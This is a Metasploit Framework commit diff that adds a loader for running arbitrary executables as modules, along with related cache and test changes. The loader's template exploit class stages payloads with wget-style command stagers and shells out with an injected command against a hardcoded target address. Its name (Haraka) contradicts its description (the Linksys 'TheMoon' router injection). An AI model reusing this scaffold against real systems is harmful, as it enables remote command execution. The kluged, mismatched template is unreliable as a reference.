mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Add new loader for arbitrary executables
Still some kluges left in the shim and we have to hit the disk when constructing the module path
This commit is contained in:
parent
51646e44a1
commit
71df231918
@ -81,6 +81,7 @@ module Msf::ModuleManager::Cache
|
||||
if module_info
|
||||
parent_path = module_info[:parent_path]
|
||||
|
||||
# XXX borked
|
||||
loaders.each do |loader|
|
||||
if loader.loadable?(parent_path)
|
||||
type = module_info[:type]
|
||||
@ -88,7 +89,7 @@ module Msf::ModuleManager::Cache
|
||||
|
||||
loaded = loader.load_module(parent_path, type, reference_name, :force => true)
|
||||
|
||||
break
|
||||
break if loaded
|
||||
end
|
||||
end
|
||||
end
|
||||
@ -162,11 +163,9 @@ module Msf::ModuleManager::Cache
|
||||
# Skip cached modules that are not in our allowed load paths
|
||||
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
|
||||
|
||||
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
|
||||
# join to '' so that typed_path_prefix starts with file separator
|
||||
typed_path_suffix = File.join('', typed_path)
|
||||
escaped_typed_path = Regexp.escape(typed_path_suffix)
|
||||
parent_path = path.gsub(/#{escaped_typed_path}$/, '')
|
||||
# The load path is assumed to be the next level above the type directory
|
||||
type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '')
|
||||
parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite
|
||||
|
||||
module_info_by_path[path] = {
|
||||
:reference_name => reference_name,
|
||||
|
@ -8,6 +8,7 @@ require 'active_support/concern'
|
||||
# Project
|
||||
#
|
||||
require 'msf/core/modules/loader/directory'
|
||||
require 'msf/core/modules/loader/executable'
|
||||
|
||||
# Deals with loading modules for the {Msf::ModuleManager}
|
||||
module Msf::ModuleManager::Loading
|
||||
@ -19,7 +20,8 @@ module Msf::ModuleManager::Loading
|
||||
|
||||
# Classes that can be used to load modules.
|
||||
LOADER_CLASSES = [
|
||||
Msf::Modules::Loader::Directory
|
||||
Msf::Modules::Loader::Directory,
|
||||
Msf::Modules::Loader::Executable # TODO: XXX: When this is the first loader we can load normal exploits, but not payloads
|
||||
]
|
||||
|
||||
def file_changed?(path)
|
||||
|
165
lib/msf/core/modules/loader/executable.rb
Normal file
165
lib/msf/core/modules/loader/executable.rb
Normal file
@ -0,0 +1,165 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/modules/loader'
|
||||
require 'msf/core/modules/loader/base'
|
||||
|
||||
# Concerns loading executables from a directory as modules
|
||||
class Msf::Modules::Loader::Executable < Msf::Modules::Loader::Base
|
||||
# Returns true if the path is a directory
|
||||
#
|
||||
# @param (see Msf::Modules::Loader::Base#loadable?)
|
||||
# @return [true] if path is a directory
|
||||
# @return [false] otherwise
|
||||
def loadable?(path)
|
||||
if File.directory?(path)
|
||||
true
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Yields the module_reference_name for each module file found under the directory path.
|
||||
#
|
||||
# @param [String] path The path to the directory.
|
||||
# @param [Hash] opts Input Hash.
|
||||
# @yield (see Msf::Modules::Loader::Base#each_module_reference_name)
|
||||
# @yieldparam [String] path The path to the directory.
|
||||
# @yieldparam [String] type The type correlated with the directory under path.
|
||||
# @yieldparam module_reference_name (see Msf::Modules::Loader::Base#each_module_reference_name)
|
||||
# @return (see Msf::Modules::Loader::Base#each_module_reference_name)
|
||||
def each_module_reference_name(path, opts={})
|
||||
whitelist = opts[:whitelist] || []
|
||||
::Dir.foreach(path) do |entry|
|
||||
full_entry_path = ::File.join(path, entry)
|
||||
type = entry.singularize
|
||||
|
||||
unless ::File.directory?(full_entry_path) and
|
||||
module_manager.type_enabled? type
|
||||
next
|
||||
end
|
||||
|
||||
full_entry_pathname = Pathname.new(full_entry_path)
|
||||
|
||||
# Try to load modules from all the files in the supplied path
|
||||
Rex::Find.find(full_entry_path) do |entry_descendant_path|
|
||||
if File.executable?(entry_descendant_path) && !File.directory?(entry_descendant_path)
|
||||
entry_descendant_pathname = Pathname.new(entry_descendant_path)
|
||||
relative_entry_descendant_pathname = entry_descendant_pathname.relative_path_from(full_entry_pathname)
|
||||
relative_entry_descendant_path = relative_entry_descendant_pathname.to_s
|
||||
|
||||
# The module_reference_name doesn't have a file extension
|
||||
module_reference_name = File.join(File.dirname(relative_entry_descendant_path), File.basename(relative_entry_descendant_path, '.*'))
|
||||
|
||||
yield path, type, module_reference_name
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the full path to the module file on disk.
|
||||
#
|
||||
# @param (see Msf::Modules::Loader::Base#module_path)
|
||||
# @return [String] Path to module file on disk.
|
||||
def module_path(parent_path, type, module_reference_name)
|
||||
# The extension is lost on loading, hit the disk to recover :(
|
||||
partial_path = File.join(DIRECTORY_BY_TYPE[type], module_reference_name)
|
||||
full_path = File.join(parent_path, partial_path)
|
||||
|
||||
Rex::Find.find(File.dirname(full_path)) do |mod|
|
||||
if File.basename(full_path, '.*') == File.basename(mod, '.*')
|
||||
return File.join(File.dirname(full_path), File.basename(mod))
|
||||
end
|
||||
end
|
||||
|
||||
''
|
||||
end
|
||||
|
||||
# Loads the module content from the on disk file.
|
||||
#
|
||||
# @param (see Msf::Modules::Loader::Base#read_module_content)
|
||||
# @return (see Msf::Modules::Loader::Base#read_module_content)
|
||||
def read_module_content(parent_path, type, module_reference_name)
|
||||
full_path = module_path(parent_path, type, module_reference_name)
|
||||
unless File.executable?(full_path)
|
||||
load_error(full_path, Errno::ENOENT.new)
|
||||
return ''
|
||||
end
|
||||
%Q|
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Haraka Remote Command Injection',
|
||||
'Description' => %q{
|
||||
Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
|
||||
injection. This vulnerability was used from the so-called "TheMoon" worm. There
|
||||
are many Linksys systems that are potentially vulnerable, including E4200, E3200, E3000,
|
||||
E2500, E2100L, E2000, E1550, E1500, E1200, E1000, and E900. This module was tested
|
||||
successfully against an E1500 v1.0.5.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Johannes Ullrich', #worm discovery
|
||||
'Rew', # original exploit
|
||||
'infodox', # another exploit
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '31683' ],
|
||||
[ 'BID', '65585' ],
|
||||
[ 'OSVDB', '103321' ],
|
||||
[ 'PACKETSTORM', '125253' ],
|
||||
[ 'PACKETSTORM', '125252' ],
|
||||
[ 'URL', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633' ],
|
||||
[ 'URL', 'https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630' ]
|
||||
],
|
||||
'DisclosureDate' => 'Feb 13 2014',
|
||||
'Privileged' => true,
|
||||
'Platform' => %w{ linux unix },
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x64 Payload',
|
||||
{
|
||||
'Arch' => ARCH_X64,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'WfsDelay' => 5 }
|
||||
))
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
to = 'admin@arnold'
|
||||
rhost = '192.168.244.130'
|
||||
`#{module_path(parent_path, type, module_reference_name)} -c "\#{cmd}" -t \#{to} -m \#{rhost}`
|
||||
true
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Trying to access the vulnerable URL...")
|
||||
|
||||
print_status("Exploiting...")
|
||||
execute_cmdstager({:flavor => :wget})
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
|
||||
end
|
||||
end
|
@ -166,9 +166,9 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
|
||||
end
|
||||
|
||||
it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do
|
||||
module_manager.send(:loaders).each do |loader|
|
||||
expect(loader).to receive(:loadable?).with(parent_path).and_call_original
|
||||
end
|
||||
# Only the first one gets it since it finds the module
|
||||
loader = module_manager.send(:loaders).first
|
||||
expect(loader).to receive(:loadable?).with(parent_path).and_call_original
|
||||
|
||||
load_cached_module
|
||||
end
|
||||
@ -188,9 +188,9 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
|
||||
|
||||
context 'return from load_module' do
|
||||
before(:example) do
|
||||
module_manager.send(:loaders).each do |loader|
|
||||
expect(loader).to receive(:load_module).and_return(module_loaded)
|
||||
end
|
||||
# Only the first one gets it since it finds the module
|
||||
loader = module_manager.send(:loaders).first
|
||||
expect(loader).to receive(:load_module).and_return(module_loaded)
|
||||
end
|
||||
|
||||
context 'with false' do
|
||||
@ -394,12 +394,6 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
|
||||
expect(module_info_by_path).to have_key(path)
|
||||
end
|
||||
|
||||
it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do
|
||||
expect(Msf::Modules::Loader::Base).to receive(:typed_path).with(type, reference_name).at_least(:once).and_call_original
|
||||
|
||||
module_info_by_path_from_database!
|
||||
end
|
||||
|
||||
context 'cache entry' do
|
||||
subject(:cache_entry) do
|
||||
module_info_by_path[path]
|
||||
|
Loading…
Reference in New Issue
Block a user